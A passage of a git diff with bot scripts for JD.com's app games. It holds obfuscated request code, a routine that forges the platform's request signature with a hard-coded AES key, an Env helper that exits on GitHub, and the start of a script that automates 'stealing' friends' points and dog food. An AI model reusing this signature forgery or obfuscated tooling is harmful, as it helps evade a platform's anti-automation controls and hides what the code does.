_0x588e25===_0x527ecc;},'JafZS':_0x1d8d('27b','@R[F'),'NkNGX':_0x1d8d('27c',']q!['),'yMTqJ':_0x1d8d('27d','3$I%'),'SwQxs':function(_0x18c589,_0x4b5bbb){return _0x18c589===_0x4b5bbb;},'qHktU':_0x1d8d('27e','B6wd'),'SrzMx':function(_0x5496c7){return _0x5496c7();},'BxnQr':_0x1d8d('27f','FjT2'),'EiAEI':_0x1d8d('280','(i((')};return new Promise(_0x47fcfb=>{$[_0x1d8d('281','DLFY')]({'url':_0x28115b[_0x1d8d('282','@R[F')],'headers':{'User-Agent':_0x28115b[_0x1d8d('283','jPP7')]},'timeout':0x186a0},async(_0x13eb82,_0x3adaa9,_0x53e1f0)=>{if(_0x28115b['rOhou'](_0x28115b[_0x1d8d('284','@R[F')],_0x28115b['NkNGX'])){$[_0x1d8d('285','7)Tk')](e,_0x3adaa9);}else{try{if(_0x13eb82){console[_0x1d8d('286','2Yg&')](_0x1d8d('287','(i((')+JSON[_0x1d8d('288','7)Tk')](_0x13eb82));}else{$[_0x1d8d('289','Zg)1')]=_0x53e1f0&&JSON['parse'](_0x53e1f0);if($[_0x1d8d('28a','&o(o')]&&$[_0x1d8d('28b','buJq')][_0x28115b['yMTqJ']]){if(_0x28115b[_0x1d8d('28c','FjT2')](_0x28115b['qHktU'],_0x1d8d('28d','a)x2'))){friendsArr=$[_0x1d8d('28e','mNmJ')][_0x28115b[_0x1d8d('28f','L2w5')]];console[_0x1d8d('290','PC7O')](_0x1d8d('291','B6wd')+friendsArr['length']+'个好友供来进行邀请助力\x0a');}else{if(_0x53e1f0){console['log'](_0x1d8d('292','FjT2'));_0x53e1f0=JSON['parse'](_0x53e1f0);}}}}}catch(_0x2593c9){$[_0x1d8d('293','FjT2')](_0x2593c9,_0x3adaa9);}finally{_0x28115b[_0x1d8d('294','@R[F')](_0x47fcfb);}}});});}isRequest?getToken():main();;_0xodY='jsjiami.com.v6'; + + +var __encode ='jsjiami.com',_a={}, _0xb483=["\x5F\x64\x65\x63\x6F\x64\x65","\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x73\x6F\x6A\x73\x6F\x6E\x2E\x63\x6F\x6D\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x6F\x62\x66\x75\x73\x63\x61\x74\x6F\x72\x2E\x68\x74\x6D\x6C"];(function(_0xd642x1){_0xd642x1[_0xb483[0]]= _0xb483[1]})(_a);var __Oxb227b=["\x69\x73\x4E\x6F\x64\x65","\x63\x72\x79\x70\x74\x6F\x2D\x6A\x73","\x39\x38\x63\x31\x34\x63\x39\x39\x37\x66\x64\x65\x35\x30\x63\x63\x31\x38\x62\x64\x65\x66\x65\x63\x66\x64\x34\x38\x63\x65\x62\x37","\x70\x61\x72\x73\x65","\x55\x74\x66\x38","\x65\x6E\x63","\x65\x61\x36\x35\x33\x66\x34\x66\x33\x63\x35\x65\x64\x61\x31\x32","\x63\x69\x70\x68\x65\x72\x74\x65\x78\x74","\x43\x42\x43","\x6D\x6F\x64\x65","\x50\x6B\x63\x73\x37","\x70\x61\x64","\x65\x6E\x63\x72\x79\x70\x74","\x41\x45\x53","\x48\x65\x78","\x73\x74\x72\x69\x6E\x67\x69\x66\x79","\x42\x61\x73\x65\x36\x34","\x64\x65\x63\x72\x79\x70\x74","\x6C\x65\x6E\x67\x74\x68","\x6D\x61\x70","\x73\x6F\x72\x74","\x6B\x65\x79\x73","\x67\x69\x66\x74","\x70\x65\x74","\x69\x6E\x63\x6C\x75\x64\x65\x73","\x26","\x6A\x6F\x69\x6E","\x3D","\x3F","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6D\x6D\x6F\x6E\x2F","\x72\x65\x70\x6C\x61\x63\x65","\x68\x65\x61\x64\x65\x72","\x75\x72\x6C","\x72\x65\x71\x53\x6F\x75\x72\x63\x65\x3D\x68\x35","\x61\x73\x73\x69\x67\x6E","\x6D\x65\x74\x68\x6F\x64","\x47\x45\x54","\x64\x61\x74\x61","\x74\x6F\x4C\x6F\x77\x65\x72\x43\x61\x73\x65","\x6B\x65\x79\x43\x6F\x64\x65","\x63\x6F\x6E\x74\x65\x6E\x74\x2D\x74\x79\x70\x65","\x43\x6F\x6E\x74\x65\x6E\x74\x2D\x54\x79\x70\x65","","\x67\x65\x74","\x70\x6F\x73\x74","\x61\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x2F\x78\x2D\x77\x77\x77\x2D\x66\x6F\x72\x6D\x2D\x75\x72\x6C\x65\x6E\x63\x6F\x64\x65\x64","\x5F","\x75\x6E\x64\x65\x66\x69\x6E\x65\x64","\x6C\x6F\x67","\u5220\u9664","\u7248\u672C\u53F7\uFF0C\x6A\x73\u4F1A\u5B9A","\u671F\u5F39\u7A97\uFF0C","\u8FD8\u8BF7\u652F\u6301\u6211\u4EEC\u7684\u5DE5\u4F5C","\x6A\x73\x6A\x69\x61","\x6D\x69\x2E\x63\x6F\x6D"];function taroRequest(_0x1226x2){const _0x1226x3=$[__Oxb227b[0x0]]()?require(__Oxb227b[0x1]):CryptoJS;const _0x1226x4=__Oxb227b[0x2];const _0x1226x5=_0x1226x3[__Oxb227b[0x5]][__Oxb227b[0x4]][__Oxb227b[0x3]](_0x1226x4);const _0x1226x6=_0x1226x3[__Oxb227b[0x5]][__Oxb227b[0x4]][__Oxb227b[0x3]](__Oxb227b[0x6]);let _0x1226x7={"\x41\x65\x73\x45\x6E\x63\x72\x79\x70\x74":function _0x1226x8(_0x1226x2){var _0x1226x9=_0x1226x3[__Oxb227b[0x5]][__Oxb227b[0x4]][__Oxb227b[0x3]](_0x1226x2);return _0x1226x3[__Oxb227b[0xd]][__Oxb227b[0xc]](_0x1226x9,_0x1226x5,{"\x69\x76":_0x1226x6,"\x6D\x6F\x64\x65":_0x1226x3[__Oxb227b[0x9]][__Oxb227b[0x8]],"\x70\x61\x64\x64\x69\x6E\x67":_0x1226x3[__Oxb227b[0xb]][__Oxb227b[0xa]]})[__Oxb227b[0x7]].toString()},"\x41\x65\x73\x44\x65\x63\x72\x79\x70\x74":function _0x1226xa(_0x1226x2){var _0x1226x9=_0x1226x3[__Oxb227b[0x5]][__Oxb227b[0xe]][__Oxb227b[0x3]](_0x1226x2),_0x1226xb=_0x1226x3[__Oxb227b[0x5]][__Oxb227b[0x10]][__Oxb227b[0xf]](_0x1226x9);return _0x1226x3[__Oxb227b[0xd]][__Oxb227b[0x11]](_0x1226xb,_0x1226x5,{"\x69\x76":_0x1226x6,"\x6D\x6F\x64\x65":_0x1226x3[__Oxb227b[0x9]][__Oxb227b[0x8]],"\x70\x61\x64\x64\x69\x6E\x67":_0x1226x3[__Oxb227b[0xb]][__Oxb227b[0xa]]}).toString(_0x1226x3[__Oxb227b[0x5]].Utf8).toString()},"\x42\x61\x73\x65\x36\x34\x45\x6E\x63\x6F\x64\x65":function _0x1226xc(_0x1226x2){var _0x1226x9=_0x1226x3[__Oxb227b[0x5]][__Oxb227b[0x4]][__Oxb227b[0x3]](_0x1226x2);return _0x1226x3[__Oxb227b[0x5]][__Oxb227b[0x10]][__Oxb227b[0xf]](_0x1226x9)},"\x42\x61\x73\x65\x36\x34\x44\x65\x63\x6F\x64\x65":function _0x1226xd(_0x1226x2){return _0x1226x3[__Oxb227b[0x5]][__Oxb227b[0x10]][__Oxb227b[0x3]](_0x1226x2).toString(_0x1226x3[__Oxb227b[0x5]].Utf8)},"\x4D\x64\x35\x65\x6E\x63\x6F\x64\x65":function _0x1226xe(_0x1226x2){return _0x1226x3.MD5(_0x1226x2).toString()},"\x6B\x65\x79\x43\x6F\x64\x65":__Oxb227b[0x2]};const _0x1226xf=function _0x1226x10(_0x1226x2,_0x1226x9){if(_0x1226x2 instanceof Array){_0x1226x9= _0x1226x9|| [];for(var _0x1226xb=0;_0x1226xb< _0x1226x2[__Oxb227b[0x12]];_0x1226xb++){_0x1226x9[_0x1226xb]= _0x1226x10(_0x1226x2[_0x1226xb],_0x1226x9[_0x1226xb])}}else {!(_0x1226x2 instanceof Array)&& _0x1226x2 instanceof Object?(_0x1226x9= _0x1226x9|| {},Object[__Oxb227b[0x15]](_0x1226x2)[__Oxb227b[0x14]]()[__Oxb227b[0x13]](function(_0x1226xb){_0x1226x9[_0x1226xb]= _0x1226x10(_0x1226x2[_0x1226xb],_0x1226x9[_0x1226xb])})):_0x1226x9= _0x1226x2};return _0x1226x9};const _0x1226x11=function _0x1226x12(_0x1226x2){for(var _0x1226x9=[__Oxb227b[0x16],__Oxb227b[0x17]],_0x1226xb=!1,_0x1226x3=0;_0x1226x3< _0x1226x9[__Oxb227b[0x12]];_0x1226x3++){var _0x1226x4=_0x1226x9[_0x1226x3];_0x1226x2[__Oxb227b[0x18]](_0x1226x4)&& !_0x1226xb&& (_0x1226xb= !0)};return _0x1226xb};const _0x1226x13=function _0x1226x14(_0x1226x2,_0x1226x9){if(_0x1226x9&& Object[__Oxb227b[0x15]](_0x1226x9)[__Oxb227b[0x12]]> 0){var _0x1226xb=Object[__Oxb227b[0x15]](_0x1226x9)[__Oxb227b[0x13]](function(_0x1226x2){return _0x1226x2+ __Oxb227b[0x1b]+ _0x1226x9[_0x1226x2]})[__Oxb227b[0x1a]](__Oxb227b[0x19]);return _0x1226x2[__Oxb227b[0x1d]](__Oxb227b[0x1c])>= 0?_0x1226x2+ __Oxb227b[0x19]+ _0x1226xb:_0x1226x2+ __Oxb227b[0x1c]+ _0x1226xb};return _0x1226x2};const _0x1226x15=function _0x1226x16(_0x1226x2){for(var _0x1226x9=_0x1226x6,_0x1226xb=0;_0x1226xb< _0x1226x9[__Oxb227b[0x12]];_0x1226xb++){var _0x1226x3=_0x1226x9[_0x1226xb];_0x1226x2[__Oxb227b[0x18]](_0x1226x3)&& !_0x1226x2[__Oxb227b[0x18]](__Oxb227b[0x1e]+ _0x1226x3)&& (_0x1226x2= _0x1226x2[__Oxb227b[0x1f]](_0x1226x3,__Oxb227b[0x1e]+ _0x1226x3))};return _0x1226x2};var _0x1226x9=_0x1226x2,_0x1226xb=(_0x1226x9[__Oxb227b[0x20]],_0x1226x9[__Oxb227b[0x21]]);_0x1226xb+= (_0x1226xb[__Oxb227b[0x1d]](__Oxb227b[0x1c])> -1?__Oxb227b[0x19]:__Oxb227b[0x1c])+ __Oxb227b[0x22];var _0x1226x17=function _0x1226x18(_0x1226x2){var _0x1226x9=_0x1226x2[__Oxb227b[0x21]],_0x1226xb=_0x1226x2[__Oxb227b[0x24]],_0x1226x3=void(0)=== _0x1226xb?__Oxb227b[0x25]:_0x1226xb,_0x1226x4=_0x1226x2[__Oxb227b[0x26]],_0x1226x6=_0x1226x2[__Oxb227b[0x20]],_0x1226x19=void(0)=== _0x1226x6?{}:_0x1226x6,_0x1226x1a=_0x1226x3[__Oxb227b[0x27]](),_0x1226x1b=_0x1226x7[__Oxb227b[0x28]],_0x1226x1c=_0x1226x19[__Oxb227b[0x29]]|| _0x1226x19[__Oxb227b[0x2a]]|| __Oxb227b[0x2b],_0x1226x1d=__Oxb227b[0x2b],_0x1226x1e=+ new Date();return _0x1226x1d= __Oxb227b[0x2c]!== _0x1226x1a&& (__Oxb227b[0x2d]!== _0x1226x1a|| __Oxb227b[0x2e]!== _0x1226x1c[__Oxb227b[0x27]]()&& _0x1226x4&& Object[__Oxb227b[0x15]](_0x1226x4)[__Oxb227b[0x12]])?_0x1226x7.Md5encode(_0x1226x7.Base64Encode(_0x1226x7.AesEncrypt(__Oxb227b[0x2b]+ JSON[__Oxb227b[0xf]](_0x1226xf(_0x1226x4))))+ __Oxb227b[0x2f]+ _0x1226x1b+ __Oxb227b[0x2f]+ _0x1226x1e):_0x1226x7.Md5encode(__Oxb227b[0x2f]+ _0x1226x1b+ __Oxb227b[0x2f]+ _0x1226x1e),_0x1226x11(_0x1226x9)&& (_0x1226x9= _0x1226x13(_0x1226x9,{"\x6C\x6B\x73":_0x1226x1d,"\x6C\x6B\x74":_0x1226x1e}),_0x1226x9= _0x1226x15(_0x1226x9)),Object[__Oxb227b[0x23]](_0x1226x2,{"\x75\x72\x6C":_0x1226x9})}(_0x1226x2= Object[__Oxb227b[0x23]](_0x1226x2,{"\x75\x72\x6C":_0x1226xb}));return _0x1226x17}(function(_0x1226x1f,_0x1226xf,_0x1226x20,_0x1226x21,_0x1226x1c,_0x1226x22){_0x1226x22= __Oxb227b[0x30];_0x1226x21= function(_0x1226x19){if( typeof alert!== _0x1226x22){alert(_0x1226x19)};if( typeof console!== _0x1226x22){console[__Oxb227b[0x31]](_0x1226x19)}};_0x1226x20= function(_0x1226x3,_0x1226x1f){return _0x1226x3+ _0x1226x1f};_0x1226x1c= _0x1226x20(__Oxb227b[0x32],_0x1226x20(_0x1226x20(__Oxb227b[0x33],__Oxb227b[0x34]),__Oxb227b[0x35]));try{_0x1226x1f= __encode;if(!( typeof _0x1226x1f!== _0x1226x22&& _0x1226x1f=== _0x1226x20(__Oxb227b[0x36],__Oxb227b[0x37]))){_0x1226x21(_0x1226x1c)}}catch(e){_0x1226x21(_0x1226x1c)}})({}) +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_joy_steal.js b/jd_joy_steal.js new file mode 100644 index 0000000..73e92d6 --- /dev/null +++ b/jd_joy_steal.js @@ -0,0 +1,645 @@ +/* +Last Modified time: 2021-6-6 10:22:37 +活动入口:京东APP我的-更多工具-宠汪汪 +最近经常出现给偷好友积分与狗粮失败的情况,故建议cron设置为多次 +jd宠汪汪偷好友积分与狗粮,及给好友喂食 +偷好友积分上限是20个好友(即获得100积分),帮好友喂食上限是20个好友(即获得200积分),偷好友狗粮上限也是20个好友(最多获得120g狗粮) +IOS用户支持京东双账号,NodeJs用户支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +如果开启了给好友喂食功能,建议先凌晨0点运行jd_joy.js脚本获取狗粮后,再运行此脚本(jd_joy_steal.js)可偷好友积分,6点运行可偷好友狗粮 +==========Quantumult X========== +[task_local] +#宠汪汪偷好友积分与狗粮 +10 0-21/3 * * * jd_joy_steal.js, tag=宠汪汪偷好友积分与狗粮, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jdcww.png, enabled=true + +=======Loon======== +[Script] +cron "10 0-21/3 * * *" script-path=jd_joy_steal.js,tag=宠汪汪偷好友积分与狗粮 + +========Surge========== +宠汪汪偷好友积分与狗粮 = type=cron,cronexp="10 0-21/3 * * *",wake-system=1,timeout=3600,script-path=jd_joy_steal.js + +=======小火箭===== +宠汪汪偷好友积分与狗粮 = type=cron,script-path=jd_joy_steal.js, cronexpr="10 0-21/3 * * *", timeout=3600, enable=true +*/ +!function (t, r) { "object" == typeof exports ? module.exports = exports = r() : "function" == typeof define && define.amd ? define([], r) : t.CryptoJS = r() }(this, function () { + var t = t || function (t, r) { var e = Object.create || function () { function t() { } return function (r) { var e; return t.prototype = r, e = new t, t.prototype = null, e } }(), i = {}, n = i.lib = {}, o = n.Base = function () { return { extend: function (t) { var r = e(this); return t && r.mixIn(t), r.hasOwnProperty("init") && this.init !== r.init || (r.init = function () { r.$super.init.apply(this, arguments) }), r.init.prototype = r, r.$super = this, r }, create: function () { var t = this.extend(); return t.init.apply(t, arguments), t }, init: function () { }, mixIn: function (t) { for (var r in t) t.hasOwnProperty(r) && (this[r] = t[r]); t.hasOwnProperty("toString") && (this.toString = t.toString) }, clone: function () { return this.init.prototype.extend(this) } } }(), s = n.WordArray = o.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 4 * t.length }, toString: function (t) { return (t || c).stringify(this) }, concat: function (t) { var r = this.words, e = t.words, i = this.sigBytes, n = t.sigBytes; if (this.clamp(), i % 4) for (var o = 0; o < n; o++) { var s = e[o >>> 2] >>> 24 - o % 4 * 8 & 255; r[i + o >>> 2] |= s << 24 - (i + o) % 4 * 8 } else for (var o = 0; o < n; o += 4)r[i + o >>> 2] = e[o >>> 2]; return this.sigBytes += n, this }, clamp: function () { var r = this.words, e = this.sigBytes; r[e >>> 2] &= 4294967295 << 32 - e % 4 * 8, r.length = t.ceil(e / 4) }, clone: function () { var t = o.clone.call(this); return t.words = this.words.slice(0), t }, random: function (r) { for (var e, i = [], n = function (r) { var r = r, e = 987654321, i = 4294967295; return function () { e = 36969 * (65535 & e) + (e >> 16) & i, r = 18e3 * (65535 & r) + (r >> 16) & i; var n = (e << 16) + r & i; return n /= 4294967296, n += .5, n * (t.random() > .5 ? 1 : -1) } }, o = 0; o < r; o += 4) { var a = n(4294967296 * (e || t.random())); e = 987654071 * a(), i.push(4294967296 * a() | 0) } return new s.init(i, r) } }), a = i.enc = {}, c = a.Hex = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push((o >>> 4).toString(16)), i.push((15 & o).toString(16)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i += 2)e[i >>> 3] |= parseInt(t.substr(i, 2), 16) << 24 - i % 8 * 4; return new s.init(e, r / 2) } }, h = a.Latin1 = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 2] |= (255 & t.charCodeAt(i)) << 24 - i % 4 * 8; return new s.init(e, r) } }, l = a.Utf8 = { stringify: function (t) { try { return decodeURIComponent(escape(h.stringify(t))) } catch (t) { throw new Error("Malformed UTF-8 data") } }, parse: function (t) { return h.parse(unescape(encodeURIComponent(t))) } }, f = n.BufferedBlockAlgorithm = o.extend({ reset: function () { this._data = new s.init, this._nDataBytes = 0 }, _append: function (t) { "string" == typeof t && (t = l.parse(t)), this._data.concat(t), this._nDataBytes += t.sigBytes }, _process: function (r) { var e = this._data, i = e.words, n = e.sigBytes, o = this.blockSize, a = 4 * o, c = n / a; c = r ? t.ceil(c) : t.max((0 | c) - this._minBufferSize, 0); var h = c * o, l = t.min(4 * h, n); if (h) { for (var f = 0; f < h; f += o)this._doProcessBlock(i, f); var u = i.splice(0, h); e.sigBytes -= l } return new s.init(u, l) }, clone: function () { var t = o.clone.call(this); return t._data = this._data.clone(), t }, _minBufferSize: 0 }), u = (n.Hasher = f.extend({ cfg: o.extend(), init: function (t) { this.cfg = this.cfg.extend(t), this.reset() }, reset: function () { f.reset.call(this), this._doReset() }, update: function (t) { return this._append(t), this._process(), this }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, blockSize: 16, _createHelper: function (t) { return function (r, e) { return new t.init(e).finalize(r) } }, _createHmacHelper: function (t) { return function (r, e) { return new u.HMAC.init(t, e).finalize(r) } } }), i.algo = {}); return i }(Math); return function () { function r(t, r, e) { for (var i = [], o = 0, s = 0; s < r; s++)if (s % 4) { var a = e[t.charCodeAt(s - 1)] << s % 4 * 2, c = e[t.charCodeAt(s)] >>> 6 - s % 4 * 2; i[o >>> 2] |= (a | c) << 24 - o % 4 * 8, o++ } return n.create(i, o) } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Base64 = { stringify: function (t) { var r = t.words, e = t.sigBytes, i = this._map; t.clamp(); for (var n = [], o = 0; o < e; o += 3)for (var s = r[o >>> 2] >>> 24 - o % 4 * 8 & 255, a = r[o + 1 >>> 2] >>> 24 - (o + 1) % 4 * 8 & 255, c = r[o + 2 >>> 2] >>> 24 - (o + 2) % 4 * 8 & 255, h = s << 16 | a << 8 | c, l = 0; l < 4 && o + .75 * l < e; l++)n.push(i.charAt(h >>> 6 * (3 - l) & 63)); var f = i.charAt(64); if (f) for (; n.length % 4;)n.push(f); return n.join("") }, parse: function (t) { var e = t.length, i = this._map, n = this._reverseMap; if (!n) { n = this._reverseMap = []; for (var o = 0; o < i.length; o++)n[i.charCodeAt(o)] = o } var s = i.charAt(64); if (s) { var a = t.indexOf(s); a !== -1 && (e = a) } return r(t, e, n) }, _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" } }(), function (r) { function e(t, r, e, i, n, o, s) { var a = t + (r & e | ~r & i) + n + s; return (a << o | a >>> 32 - o) + r } function i(t, r, e, i, n, o, s) { var a = t + (r & i | e & ~i) + n + s; return (a << o | a >>> 32 - o) + r } function n(t, r, e, i, n, o, s) { var a = t + (r ^ e ^ i) + n + s; return (a << o | a >>> 32 - o) + r } function o(t, r, e, i, n, o, s) { var a = t + (e ^ (r | ~i)) + n + s; return (a << o | a >>> 32 - o) + r } var s = t, a = s.lib, c = a.WordArray, h = a.Hasher, l = s.algo, f = []; !function () { for (var t = 0; t < 64; t++)f[t] = 4294967296 * r.abs(r.sin(t + 1)) | 0 }(); var u = l.MD5 = h.extend({ _doReset: function () { this._hash = new c.init([1732584193, 4023233417, 2562383102, 271733878]) }, _doProcessBlock: function (t, r) { for (var s = 0; s < 16; s++) { var a = r + s, c = t[a]; t[a] = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8) } var h = this._hash.words, l = t[r + 0], u = t[r + 1], d = t[r + 2], v = t[r + 3], p = t[r + 4], _ = t[r + 5], y = t[r + 6], g = t[r + 7], B = t[r + 8], w = t[r + 9], k = t[r + 10], S = t[r + 11], m = t[r + 12], x = t[r + 13], b = t[r 